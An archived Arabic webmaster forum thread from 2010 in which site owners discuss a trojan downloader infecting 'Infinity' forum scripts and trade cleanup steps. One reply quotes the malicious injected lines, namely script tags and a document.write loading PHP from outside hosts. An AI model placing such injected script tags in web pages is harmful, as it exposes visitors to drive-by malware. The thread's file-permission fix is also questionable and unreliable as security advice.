الويب العربي

الويب العربي (http://www.arabwebtalk.com/index.php)
-   مجتمع ديموفنف (http://www.arabwebtalk.com/forumdisplay.php?f=73)
-   -   (حماية ) هام جدا لمستخدمي انفنتي حل مشكلة التروجان ( ادخل قبل ان ياتي دور موقعك ) (http://www.arabwebtalk.com/showthread.php?t=135359)

شبكة ومجلة ليبيات 18-03-2010 04:37 PM

(حماية ) هام جدا لمستخدمي انفنتي حل مشكلة التروجان ( ادخل قبل ان ياتي دور موقعك )
 
السلام عليكم ورحمة الله وبركاته
تحية وبعد
اخوتي اخواتي زوار واعضاء هذا الصرح العظيم واخص بالذكر مستخدمي انفنتي ارجو الانتباه جيدا لما سيذكر تاليا
يوجد تروجان جديد يضرب ملفات انفنتي وهالفايروس ينتشر بسرعة رهيبة في كل ملفات الموقع ولكن الحل بسيط جدا حيث ان هذا التروجان او بالاحرى الفايرس ياتي الى ملف scripts ويتمركز في محتوياتها ...
حل هذه المشكلة مع شبكة ومجلة ليبيات الالكترونية كالتالي :
اول خطوة هي تنزيل ملف انفنتي جديد ومن نفس نسختك التي تستخدمها في موقعك حاليا
ثانيا ترفع ملف scripts وطبعا في هالحالة ستظهر لك رسالة تقول ( استبدال الملفات ) فتنقر على استبدال
ثالثا تدخل على لوحة تحكم موقعك cpanel ثم تختار File Manager او مدير الملفات
رابعا ستظهر لك جميع ملفاتك فتختار منها ملف scripts
ثم تنقر عليه بالايمن وتختار Change Permissions وهي تغيير التصاريح لهذا الملف ثم تغيير التصاريح الى 111 وهي امر اخفار محتويات هذا الملف وهكذا تكون حليت مشكلتك
خامسا نفس التروجان ستجده متمركز في لوحة تحكم موقعك لان ملف cp به ملف scripts ايضا لذا لازم تسوي نفس الخطوات السابق ذكرها ..
واي احد يواجه مثل هالمشكلة وما قدر يحلها ارجو منه التواصل عبر الرسائل الخاصة او هنا عبر هذا الموضوع

مع تحيات ادارة شبكة ومجلة ليبيات الالكترونية
اول شبكة ومجلة خاصة بالمراة الليبية

شبكة ومجلة ليبيات 18-03-2010 04:53 PM

عذرا البعض يسال عن اسم التروجان وانا نسيت اني اضيفه في نفس الموضوع واسمه هو HEUR:Trojan-Downloader.Script.Generic

تقبلوا ودي واحترامي

أبو طارق 18-03-2010 08:48 PM

اتمنى من ابعاد تأكيد هذا الأمر

وشكرا لصاحب الموضوع

واتمنى من الجميع عدم التعجل في تغيير الملف حتى نتأكد من ابعاد المعلومات

ولا يبون فلوس

توصي شئ 19-03-2010 01:03 PM

سالفة الفايروسات هذي قديمه جداااااً

ومازالت بعض المواقع تعاني منها وللأسف انهم مايعرفون الحل او خطوات الحل


عموماً في أعلان بيمين المنتدى حاطينه الويب العربي :) يمكن طافكم اضغطوا عليه وشوفوا الشرح بالفيدو





http://www.isecur1ty.org/video-tutor...s-remover.html

مجـ"ـبور 20-03-2010 05:13 AM

مشكور حبيبي والله يعطيك ألف ألف عافية
وعسى يا رب تنفع الخطوات المذكورة
بالنسبة للروابط الظاهرة عندي فهي غير الرابط اللي أضفته

هذي هي الراوابط اللي يقول عنها العم قوقل مشتبه فيها:


<script src=http://aboutcow.info/images/How-to-feed-a-cow.ph
p ></script>

<script src=http://asanare-deminare.ro/images/gifimg.php ></
script>

document.write('<script src=http://amazonwebhosting.net/cpan
el/index.php ><\/script>');



--------
طبعاً كل مرة أرفع مجلد أو الملفات اللي بداخل مجلد scripts وبعد فترة بسيطة تجي روابط غيرها بس تتمركز في نفس المجلدات اللي ذكرتها
وان شاء الله ما ترجع من جديد

توصي شئ 20-03-2010 11:49 AM

مجبووور

مو بس ملفات script تصاب بالفايروس !!!

لأن الفايروس يزرع نفسه بأغلب ملفات htm و php

اذا لك خلق .. اسحب ملفات المجله كلها ونزلها على جهازك وافحصها بحماية قويه وصدقني راح تعرف وين الخطأ ووين متمركز الفايروس


واذا مالك خلق .. ضيفني ومالك الا طيبة الخاطر

شبكة ومجلة ليبيات 20-03-2010 03:56 PM

احبتي الافاضل اشكر لكم مروركم الذي زاد متصفحي نورا على نور
واشكر كل من قام بالرد وبالنسبة للفايروس او التروجان فمهما احبتي الافاضل تغير اسمه فالطريقة واحدة
واتمنى اتباع الطريقة التي ذكرتها سالفا وارجو احبتي الافاضل عمل ما قمت بشرحه قبل ما تجي ساعة الندم وتتعب وتنزل ملفاتك لانه اصلا يوهمك بانه بكل الملفات ولكن الحقيقة انه متواجد بس بملفات الي ذكرتها لا اكثر وقليل نادر ما ان يتمركز في html و ملفات php
واي استفسار او اي حل لمشكلة اتمنى التواصل عبر هذا الموضوع او الرسائل او البريد الالكتروني الذي بالتوقيع

مجـ"ـبور 20-03-2010 07:16 PM

المرفقات 1
حبيبي توصي شيء,
تسلم لي يا بعدي فيك الخير والبركة

-------

عيوني شبكة ومجلة ليبيات,
لقد قمت بعمل ما شرحته وتأكدت بأن الملفات غير مصابة بأي رابط مشتبه به ومن ثم قمت بمراسلة إدارة قوقل من أدوات مشرفي المواقع وطلبت منهم إعادة النظر في الموقع وبعد أقل من 12 ساعة دخلت على تفاصيل البرامج الضارة ووجدت شفرة جديدة بتاريخ أمس 19 مارس 2010
هذهِ الصورة الموضوحة


وهذا الرابط
<script src=http://asanare-deminare.ro/images/gifimg.php ></
script>

شبكة ومجلة ليبيات 22-03-2010 04:20 PM

حياك الله اخوي
اولا اشكرك لتواصلك ومتابعتك واسف جدا لتاخري بالرد يالغالي وبالنسبة لازالة تلك الشفرة الضارة فعليك ان تفتح ملف المذكور من قِبل شركة google وتبحث عن الكود وتلغيه
وهكذا تكون تخلصت منه
هذا والله الموفق


جميع الأوقات بتوقيت مكة المكرمة. الساعة الآن » 10:18 PM.

Powered by vBulletin
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Copyright © ArabWebTalk.Com 2004-2012